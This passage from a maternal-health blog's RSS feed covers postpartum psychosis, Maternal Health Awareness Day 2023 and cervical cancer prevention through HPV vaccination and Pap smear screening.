Postpartum psychosis is a rare but potentially life-threatening condition that affects some new mothers, causing them to experience symptoms such as delusions, hallucinations, confusion, disorientation, mania, severe depression, and suicidal or homicidal thoughts. It is crucial for healthcare professionals to receive adequate training in identifying and treating postpartum mental health issues, and for women to seek early medical assistance if they exhibit any signs of postpartum psychosis.

“Once you choose hope, anything is possible.” — Christopher Reeve

Sources

1Perry, A., Gordon-Smith, K., Jones, L., & Jones, I. (2021). Phenomenology, Epidemiology and Etiology of Postpartum Psychosis: A Review. Brain Sciences, 11(1), 47. MDPI AG. Retrieved from http://dx.doi.org/10.3390/brainsci11010047
2Gordon-Smith, K., Perry, A., Di Florio, A., Forty, L., Fraser, C., Casanova Dias, M., Warne, N., MacDonald, T., Craddock, N., Jones, L., & Jones, I. (2020). Symptom profile of postpartum and non-postpartum manic episodes in bipolar I disorder: a within-subjects study. Psychiatry Research, 284, 112748. https://doi.org/10.1016/j.psychres.2020.112748 This file was medically reviewed, February 2022.

Image Source: Mind Help

 

 

 

]]> https://tobioloyede.com/postpartum-psychosis-a-growing-concern-in-the-united-states/feed/ 1 Maternal Health Awareness Day-2023 https://tobioloyede.com/maternal-health-awareness-day-2023/ https://tobioloyede.com/maternal-health-awareness-day-2023/#respond Mon, 23 Jan 2023 05:12:14 +0000 https://tobioloyede.com/?p=2192 For some time now, my research has focused solely on Maternal Health and without mincing words, doing this work comes with mixed feelings as I work particularly with women who have had adverse experiences giving birth in Georgia. Their narratives are eye-opening and traumatizing and I cannot but raise awareness about the menace of maternal mortality. Overall, I love my work as a budding maternal health specialist.

Today, January 23, 2023, we celebrate Maternal Health Awareness Day with the American College of Obstetricians and Gynecologists (ACOG). This year’s theme is“𝐊𝐧𝐨𝐰 𝐖𝐡𝐲.” According to the CDC, more than 80 percent of maternal deaths in the United States are preventable. To prevent these disheartening deaths, which are occurring at an increasing pace, it is necessary to understand why they are occurring. This year, ACOG will focus on uncovering the fundamental causes of maternal deaths and emphasize the significance of data in finding solutions to improve maternal health outcomes.

Maternal mortality has diverse and complex causes. According to ACOG, some questions to ask are: What are the underlying causes of maternal deaths that most affect the patient population in your community or state? What issues are significant to your organization? This year, the ACOG encourages you to identify your “why,” or the cause of maternal deaths that you wish to highlight. Regardless of your motivation, raising awareness about the causes of death during and after pregnancy brings us one step closer to ending the maternal mortality problem that plagues the United States.

This year, ACOG will concentrate on the two major causes of maternal mortality recognized by maternal mortality review committees and recently reported by the CDC: mental health problems and cardiovascular and coronary illnesses. Interestingly, my research focuses on maternal mental health conditions that serve as an underlying cause of pregnancy-related mortality; perinatal mental health. For #MaternalHealthAwarenessDay 2023, we need to Know Why the U.S. maternal mortality crisis is worsening. The causes are numerous and complex, but focusing on even just one can help make a difference. Choose what matters to you!

You can watch/listen to my podcast to learn more: YouTube Spotify Apple Podcast Google Podcast

Image Source: ACOG

 

 

 

 

 

 

]]> https://tobioloyede.com/maternal-health-awareness-day-2023/feed/ 0 Cervical Cancer: Understanding the Disease and How to Prevent It https://tobioloyede.com/cervical-cancer-understanding-the-disease-and-how-to-prevent-it/ https://tobioloyede.com/cervical-cancer-understanding-the-disease-and-how-to-prevent-it/#respond Thu, 19 Jan 2023 01:24:17 +0000 https://tobioloyede.com/?p=2165 Cancer of the cervix is a type of cancer that affects the lower section of the uterus that attaches to the vagina. This part of the uterus is known as the cervix. It is a terrible disease that affects thousands of women each year, and it is the fourth most frequent kind of cancer in women all over the world. Cervical cancer, on the other hand, is one of the most preventable types of cancer, and finding and treating it early can help save lives. Symptoms of cervical cancer can include abnormal vaginal bleeding, pain during intercourse, and pelvic pain, which may not manifest until the disease has advanced.

HPV, which stands for “human papillomavirus,” is an infection that can be spread sexually and is said to be one of the main causes of cervical cancer. It is believed that almost all sexually active people will become infected with HPV at some point in their lives because the virus is so widespread and easy to contract. However, not every strain of HPV is associated with an increased risk of cervical cancer. HPV 16 and HPV 18 are the forms of the human papillomavirus (HPV) that are most often linked to cervical cancer.

Vaccination against HPV is the most effective method now available for preventing cervical cancer. The HPV vaccine is both safe and effective, and it can protect against the most common types of HPV that are linked to cervical cancer. Even though the HPV vaccine is usually given to children and teens between the ages of 11 and 12, adults can also get it.

Source
January is a cervical cancer awareness month.

It consists of a number of injections that are spread out over the course of a year. Before a person has sexual contact, it is strongly suggested that they get the vaccine. However, the vaccine can still provide some protection against other kinds of the virus and help prevent future HPV-related cancers, even if someone has already been exposed to HPV.

Getting Pap smears on a regular basis is another essential measure to take in the fight against cervical cancer. A simple test called a Pap smear can find abnormal cells on the cervix before they become cancer. The American College of Obstetricians and Gynecologists recommends that women begin receiving regular Pap smears at the age of 21 and that they should continue to get checked every three years until the age of 29. After age 29, women should continue to get examined once every five years. It is recommended that women obtain either a Pap smear and an HPV test together every 5 years or simply the HPV test every 5 years if they are between the ages of 30 and 65. Women over 65 who have had regular Pap smears in the last 10 years and found nothing wrong with them do not need to keep getting screened.

With the above preventive steps, women can also make changes to their lives to lower their risk of getting cervical cancer. These consist of:

  • Not smoking
  • Condom usage during sexual activity
  • Limiting the number of sexual partners
  • Keeping a healthy weight and diet

Cervical cancer is a deadly disease, yet it is also one of the most preventable cancers. Women can protect themselves from this disease by getting the HPV vaccine, getting regular Pap smears, and living a healthy lifestyle.
One HPV vaccine (Gardasil) is recommended for boys. This vaccine can help prevent boys from getting infected with the HPV types that can cause cancers of the mouth and throat, penis, and anus, as well as genital warts.

Cervical cancer is one of the main causes of cancer-related deaths in women worldwide, especially in low- and middle-income countries. Poverty, lack of healthcare, and discrimination are social determinants of health that contribute to the disproportionate impact on Black, Indigenous, and People of Color (BIPOC) communities.

It’s highly recommended that you speak with your healthcare provider; they will be able to give you all the information you need, answer any questions you might have, and help you schedule the vaccine.
Learn more from our interview with Dr. Adeola Awujoola (Resident Physician): on YouTube or on your podcast platforms (Metamorphosis with Tobi)– Apple Podcast.  Google Podcast. Spotify

Image credit: Loma Linda University Health

References

  • Centers for Disease Control and Prevention, “HPV Vaccines” (2021)
  • American College of Obstetricians and Gynecologists, “Cervical Cancer Screening” (2021)
  • American Cancer Society, “Cervical Cancer Early Detection, Diagnosis, and Staging” (2021)
  • “The Impact of Social Determinants of Health on Cervical Cancer Outcomes” by the American Cancer Society

 

 

 

 

 

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